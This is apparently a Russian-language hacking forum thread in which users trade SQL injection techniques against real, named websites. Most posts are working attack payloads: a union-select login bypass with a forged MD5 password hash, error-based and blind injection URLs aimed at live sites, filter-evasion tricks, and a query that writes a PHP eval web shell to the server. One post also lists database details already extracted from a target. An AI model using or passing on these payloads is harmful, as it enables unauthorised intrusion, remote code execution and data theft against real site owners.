Ну тогда примерно понятно, чо. Знач так. Тащемта возмем за основу: asd' union select 'pass', 'salt', 1, '1 /via кто-то там Значит там сравнивается с пассом который ты шлешь. да. Отсылать на скрипт будем пароль: "1"(без кавычек естественно) думаю что выглядет в коде это как-то так: PHP: <?php [...] $sql = mysql_query('SELECT что-то там откуда-то там WHERE user_name = ' . $_POST['login']) or die(mysql_error()); $user = mysql_fetch_assoc($sql); // алгоритм будем рассматривать стандартный. md5(md5($pass).$salt); //SELECT user_pass, user_salt, user_group, user_id FROM `users` WHERE user_name = 'asd'' if( md5( md5($_POST['pass']) . $user['user_salt'] ) == $user['user_pass']) { //все ок авторизируемся }else{ //не авторизировался. } [...] ?> Наш пароль: 1 "Наша" соль: 2 При авторизации пробуй слать: Code: Логин: asd' and 1=2 union select MD5(CONCAT(MD5(1), 2)) , 2, 1, 1 -- Пасс: 1 Или Code: //md5(md5(pass).md5(salt)) Логин: asd' and 1=2 union select MD5(CONCAT(MD5(1), MD5(2))) , 2, 1, 1 -- Пасс: 1 И так далее по алгоритмам. Отчет ждем в тему
Boolean, при запросах такова вида, выскакивает ошибка мускуля, а форма авторизации говорит что не верный пароль. И кстати, мб, пароль не шифруется, т.к. он даже в куках передается в открытом виде
Сорри за нубство мужики Такой вопрос 1,2,..group_concat(login)... ...concat_ws(login)... не хочет выполнять как можно обойти фильтр? пробовал group_concat(CHAR(108,111,103,105,110)) тоже не работает
Вот, при таком запросе нет ошибки мускуля, и скрипт говорит что неверный пароль: login = asd pass = 1 И при таком тоже ошибка пропадает и неверный пароль Если не получится, скину.
http://www.mysql.ru/docs/maryan/#concat_ws http://webi.ru/webi_articles/8_14_f.html + советую к прочтению http://raz0r.name/obzory/group_concat/
site/news.php?id=18 and 1=1 (true) site/news.php?id=6+AND+ascii(lower(substring(user(),1,1)))=111 (true) site/news.php?id=18 and 1=3 (false) site/news.php?id=18 and 'a'='a' в чем суть ошибки? mq вроде бы off
Народ, а чё я делоаю не правильно? http://english.in.ua/study.php?id=7+or+1+group+by+concat%28%28select+table_name+from+information_schema.tables%29,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+ чего мне не показывает таблицы?
Code: http://english.in.ua/study.php?id=7/**/and/**/row(1,2)in(select/**/count(*),concat((select/**/table_name/**/from/**/information_schema.tables/**/limit/**/0,1),0x3a,floor(rand(0)*2))as/**/a/**/from/**/information_schema.tables/**/x/**/group/**/by/**/a)
на самом то деле причина просто в д а какая разница то? Юзай hex формат. А вообще можешь кинуть линк в пм, если просто интересно. To, M1lten Может банально идёт сверка $_REQUSET['login'] == $sql_resp['login'] $_REQUSET['login'] = sdf' sqlinj, а $sql_resp['login'] = выводимое тобою значение. Залогиниться возможно, когда идёт проверка на кол-во строк, которое вернулось после ввода. Может вообще два запроса на проверку логина и пароля, д дофига чего может быть и скуль не провести. Если ошибка от мускуля, то юзай error-based sqlinj
1. from mysql.user идёт до into dumpfile. Далее может идти только комментарий. Либо ищем раскрытие путей на сайте, либо читаем через load_file каталоги и ищем полный путь к сайту, хотя возможно прав на папки не бует. В этом случае Можно будет попробовать посмотреть директории, которые могут быть выведены с сервера, но находящийся в этом каталоге и доп. Файлы, которые можно прочитать или создать нужный файл А разве это нужные функции, при раскрутке SQL-inj? Если фильтр идёт на них можно будет обойтись и без их использования.
select '<?php eval($_GET[ololo]); ?>' into outfile 'абсолютный_путь_до_папки_с_правами_на_запись/shell.php'
Подскажите почему не выводит названия таблиц http://goldsauna.ru/articles.html?id=-7%27+union+select+1,2,table_name,4,5+from+information_schema.tables%27
http://goldsauna.ru/articles.html?id=-7'+union+select+1,2,unhex(hex(table_name)),4,5+from+information_schema.tables--+
да и без hex и anhex все норм выводит... http://goldsauna.ru/articles.html?id=-7'+union+select+1,2,table_name,4,5+from+information_schema.tables--+
http://cod.gamepolis.ru/xlrstats/index.php?func=player&playerid=1 можно ли раскрутить sql in?Если да то как?
Конечно, можно !!! Но вывода я не нашёл. Так что крутил как Blind SQL. Там 5 ветка, так что тебе повезло. Code: http://cod.gamepolis.ru/xlrstats/index.php?func=player&playerid=1+and+substring((version()),1,1)=5 Выдирай посимвольно через ASCII например вот так: Code: http://cod.gamepolis.ru/xlrstats/index.php?func=player&playerid=1+and+ascii(substring((version()),[COLOR=Magenta][SIZE=3]1[/SIZE][/COLOR],1))=53 http://cod.gamepolis.ru/xlrstats/index.php?func=player&playerid=1+and+ascii(substring((version()),[COLOR=Magenta][SIZE=3]2[/SIZE][/COLOR],1))=46 Часть данных: PHP: Current User: cod4@95.154.113.66 Sql Version: 5.1.58 Current DB: cod4
